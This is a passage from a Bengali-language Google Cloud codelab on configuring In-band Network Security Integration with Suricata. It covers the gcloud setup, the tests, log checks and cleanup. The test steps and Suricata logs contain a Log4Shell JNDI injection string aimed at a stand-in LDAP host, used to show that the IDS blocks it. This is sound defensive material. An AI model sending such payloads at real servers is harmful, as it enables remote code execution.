ইন্টারসেপ্ট ডিপ্লয়মেন্টগুলো সফলভাবে তৈরি হয়েছে কিনা তা যাচাই করুন:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
নমুনা আউটপুট:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
অভিনন্দন, আপনি প্রডিউসার সাইডের সেটআপ সম্পন্ন করেছেন। এরপর আপনি কনজিউমার সাইড কনফিগার করবেন, যা ট্র্যাফিক ইন্টারসেপ্ট করে এনফোর্সমেন্টের জন্য স্বচ্ছভাবে থার্ড-পার্টি অ্যাপ্লায়েন্সগুলোতে পাঠিয়ে দেবে।
৪. ভোক্তার কার্যকলাপ
যদিও এই ল্যাবে সরলতার জন্য একটি একক প্রকল্পের মধ্যে পৃথক VPC ব্যবহার করা হয়েছে, বাস্তব পরিবেশে প্রডিউসার এবং কনজিউসার রিসোর্সগুলো বিভিন্ন প্রকল্পে বা এমনকি বিভিন্ন সংস্থার মধ্যেও থাকতে পারে।
VPC এবং ক্লাউড NAT উপাদানসমূহ
- VPC এবং সাবনেট তৈরি করুন:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ এবং অ্যাসোসিয়েশন
- ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ তৈরি করুন:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
এন্ডপয়েন্টটি সফলভাবে তৈরি হয়েছে কিনা তার যাচাইকরণ:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
নমুনা আউটপুট:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- কনজিউমার VPC উল্লেখ করে ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ অ্যাসোসিয়েশন তৈরি করুন:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
যাচাই করুন:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
নমুনা আউটপুট:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ
এরপরে আপনি ইন্টারসেপ্টের জন্য একটি কাস্টম সিকিউরিটি প্রোফাইল তৈরি করবেন এবং এটিকে সিকিউরিটি প্রোফাইল গ্রুপের সাথে সংযুক্ত করবেন। সিকিউরিটি প্রোফাইল এবং সিকিউরিটি প্রোফাইল গ্রুপ থার্ড-পার্টি অ্যাপ্লায়েন্সের জন্য প্যাকেট ইন্টারসেপশনের কাজে ব্যবহৃত হয়।
- একটি কাস্টম-ইন্টারসেপ্ট নিরাপত্তা প্রোফাইল তৈরি করুন:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
নিরাপত্তা প্রোফাইলটি সফলভাবে তৈরি হয়েছে কিনা তা যাচাই করুন:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
নমুনা আউটপুট:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- একটি নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
এসপিজি সফলভাবে তৈরি হয়েছে কিনা তা যাচাই করুন:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
নমুনা আউটপুট:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
ফায়ারওয়াল নীতি, নিয়ম এবং সংযোগ
- একটি গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করুন:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- ফায়ারওয়াল নিয়মগুলো তৈরি করুন:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- NSI ব্যবহার করে সমস্ত বহির্গামী ট্র্যাফিক আটকানোর জন্য ফায়ারওয়াল নিয়মটি তৈরি করুন, যাতে তা স্বচ্ছভাবে আমাদের তৃতীয় পক্ষের অ্যাপ্লায়েন্সে পাঠানো যায়। এই নিয়মটি পরিদর্শনের জন্য সমস্ত TCP:80 বহির্গামী ট্র্যাফিক পাঠাবে।
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- VPC নেটওয়ার্কের সাথে ক্লাউড ফায়ারওয়াল পলিসি সংযুক্ত করুন:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
ভোক্তা ভিএম
- NSI যাচাই করার জন্য ব্যবহৃত VM গুলো স্থাপন করুন। আপনি ৩টি জোনে ৩টি VM স্থাপন করবেন। মনে রাখবেন যে শুধুমাত্র ২টি জোনে NSI সক্রিয় করা আছে, কিন্তু $zonec-তে নেই।
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
ইন-ব্যান্ড নেটওয়ার্ক নিরাপত্তা ইন্টিগ্রেশন পরীক্ষা করা হচ্ছে
- $zonea-তে থাকা VM-এ SSH করুন (consumer-$zonea)। পরীক্ষামূলক ট্র্যাফিক পাঠান:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- http://www.google.com- এ পরীক্ষামূলক ট্র্যাফিক পাঠান:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
প্রত্যাশিত আউটপুট:
200
HTTP 200 স্ট্যাটাস কোড নির্দেশ করে যে ক্লায়েন্টের অনুরোধটি সার্ভার কর্তৃক সফলভাবে গৃহীত, অনুধাবনকৃত এবং প্রক্রিয়াজাত হয়েছে।
- যেসব log4j অনুরোধ Suricata দ্বারা ব্লক করা উচিত, সেগুলো NSI-এর মাধ্যমে পাঠান।
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
প্রত্যাশিত আউটপুট:
000
000 HTTP রেসপন্স কোডটি একটি অনানুষ্ঠানিক, অ-মানক কোড যা কিছু নির্দিষ্ট সফটওয়্যার ব্যবহার করে এটি বোঝাতে যে, কোনো বৈধ HTTP স্ট্যাটাস কোড পাওয়া যায়নি। এর সম্ভাব্য অর্থ হলো, অনুরোধটি ফায়ারওয়াল দ্বারা ব্লক করা হয়েছে।
- SSH সেশন থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।
exit
- $zoneb-এ থাকা VM-এ SSH করুন (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- একইভাবে, পরীক্ষামূলক ট্র্যাফিক পাঠান:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
প্রত্যাশিত আউটপুট:
200
- log4j অনুরোধ পাঠান:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
প্রত্যাশিত আউটপুট:
000
- SSH সেশন থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।
exit
- $zonec-এ থাকা VM-এ SSH করুন (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- একইভাবে, পরীক্ষামূলক ট্র্যাফিক পাঠান:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
প্রত্যাশিত আউটপুট:
200
- log4j অনুরোধ পাঠান:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
প্রত্যাশিত আউটপুট:
200
লক্ষ্য করুন যে এই অনুরোধটি সফল হয়েছে। এটি প্রত্যাশিত, কারণ আপনি $zonec দিয়ে NSI কনফিগার করেননি। ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপে শুধুমাত্র $zonea এবং $zoneb-এর জন্য অ্যাসোসিয়েশন রয়েছে।
- SSH সেশন থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।
exit
সুরিকাটা ক্ষতিকর অনুরোধগুলো গ্রহণ করে ব্লক করেছে তা যাচাই করা হয়েছে।
- লগগুলো পরীক্ষা করার জন্য $zonea-তে থাকা Suricata VM (suricata-$zonea)-এ SSH করুন:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- আক্রমণের ধরন অনুযায়ী ফিল্টার করে লগগুলো দেখুন:
cat /var/log/suricata/eve.json | grep log4j
আপনি কিছু এন্ট্রি দেখতে পারেন। যদি কোনো এন্ট্রি দেখতে না পান, তাহলে $zoneb-এ থাকা Suricata VM-এর লগগুলো পরীক্ষা করুন। নমুনা আউটপুট:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- SSH সেশন থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।
exit
ঐচ্ছিকভাবে, আপনি $zoneb-তে থাকা Suricata VM-এ (suricata-$zoneb) SSH করে লগগুলো যাচাই করতে পারেন।
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
আক্রমণের ধরন অনুযায়ী ফিল্টার করে লগগুলো দেখুন:
cat /var/log/suricata/eve.json | grep log4j
নমুনা আউটপুট:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
এছাড়াও, ট্র্যাফিক দেখা ও যাচাই করার জন্য প্যাকেট ক্যাপচার একটি ভালো উপায় হবে।
এই কমান্ডটি GENEVE প্যাকেট ফিল্টার করবে। নমুনা কমান্ড:
sudo tcpdump -i any -nn udp port 6081
এখন একটি কনজিউমার ভিএম থেকে কয়েকটি টেস্ট ট্র্যাফিক পাঠান। নমুনা আউটপুট:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
লক্ষ্য করুন যে tcpdump দিয়ে আপনি GENEVE হেডারগুলো দেখতে পারেন। সোর্স আইপি হলো সাবনেট গেটওয়ের (10.0.0.1) এবং ডেস্টিনেশন আইপি হলো ফরওয়ার্ডিং রুলের (10.0.0.11 বা 10.0.0.12)। এনক্যাপসুলেটেড প্যাকেটগুলোতে মূল প্যাকেটগুলো থাকে — consumer-$zonea (192.168.0.2) বা consumer-$zoneb (192.168.0.3)-এর ক্লায়েন্ট আইপি এবং ডেস্টিনেশন google.com। এটি নিশ্চিত করে যে প্যাকেটগুলো ইন্টারসেপ্ট করা হচ্ছে এবং নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশনের মাধ্যমে থার্ড-পার্টি অ্যাপ্লায়েন্সে পাঠানো হচ্ছে।
- SSH সেশন থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।
exit
অভিনন্দন। আপনি সফলভাবে ইন-ব্যান্ড নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন (NSI) সহ একটি পরিবেশ স্থাপন এবং পরীক্ষা করেছেন।
৫. পরিষ্কার করা
ভোক্তা
কনজিউমার ভিএমগুলো মুছে ফেলুন:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
ফায়ারওয়াল অ্যাসোসিয়েশন এবং পলিসি মুছে ফেলুন:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
নিরাপত্তা প্রোফাইল গ্রুপ এবং নিরাপত্তা প্রোফাইল মুছুন:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
এন্ডপয়েন্ট অ্যাসোসিয়েশন মুছে ফেলুন এবং এন্ডপয়েন্ট গ্রুপগুলো ইন্টারসেপ্ট করুন:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
ক্লাউড NAT, ক্লাউড রাউটার এবং সংরক্ষিত IP মুছে ফেলুন
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
VPC এবং সাবনেটগুলি মুছে ফেলুন
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
প্রযোজক
ইন্টারসেপ্ট ডিপ্লয়মেন্টগুলো মুছে ফেলুন:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
ইন্টারসেপ্ট ডিপ্লয়মেন্ট গ্রুপ মুছুন (এই কমান্ডটি সফল হওয়ার আগে ইন্টারসেপ্ট ডিপ্লয়মেন্টগুলির মোছা শেষ হতে হবে):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
ফরওয়ার্ডিং নিয়মগুলো মুছে ফেলুন:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
ফরওয়ার্ডিং নিয়মে সংরক্ষিত আইপি মুছে ফেলুন:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
ব্যাকএন্ড পরিষেবা মুছে ফেলুন:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
অব্যবস্থাপিত ইনস্ট্যান্স গ্রুপগুলি মুছুন:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
স্বাস্থ্য পরীক্ষা মুছে ফেলুন:
gcloud compute health-checks delete nva-hc -q
প্রডিউসার ভিএমগুলো মুছে ফেলুন:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
ক্লাউড NAT, ক্লাউড রাউটার এবং সংরক্ষিত IP মুছে ফেলুন:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
FW পলিসি অ্যাসোসিয়েশনটি মুছে ফেলুন:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
FW পলিসিটি মুছে ফেলুন:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
VPC এবং সাবনেট মুছে ফেলুন
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
৬. অভিনন্দন!
অভিনন্দন, আপনি সুরিকাটা কোডল্যাবের সাথে ইন-ব্যান্ড নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন সফলভাবে সম্পন্ন করেছেন।
NSI ইন-ব্যান্ড ভেন্ডর-নির্দিষ্ট ডেমো ভিডিওগুলো দেখুন:
আপনার প্রতিষ্ঠানের জন্য প্রাসঙ্গিক হতে পারে এমন কিছু বিক্রেতা-নির্দিষ্ট স্থাপনা নির্দেশিকা দেখে নিন: